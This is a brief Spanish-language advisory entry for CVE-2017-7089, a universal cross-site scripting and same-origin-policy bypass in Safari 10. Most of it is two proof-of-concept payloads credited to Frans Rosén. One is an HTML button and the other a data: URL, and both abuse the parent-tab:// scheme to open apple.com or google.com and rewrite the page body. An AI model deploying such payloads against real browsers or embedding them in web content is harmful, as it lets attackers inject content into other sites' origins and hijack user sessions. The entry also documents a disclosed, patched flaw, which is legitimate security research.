CVE-2017-7089

Impacto: El procesamiento de contenido web maliciosamente diseñado puede llevar a un cross-site scripting universal

Descripción: Existía un problema lógico en el manejo de la pestaña principal. Este problema se solucionó con una mejor gestión del estado.

Safari 10

Local SOP bypass

<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='';}</script><button onclick=Pew();>Click me!</button>

Exploit por Frans Rosén

data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML=''};setTimeout(y,100)</script>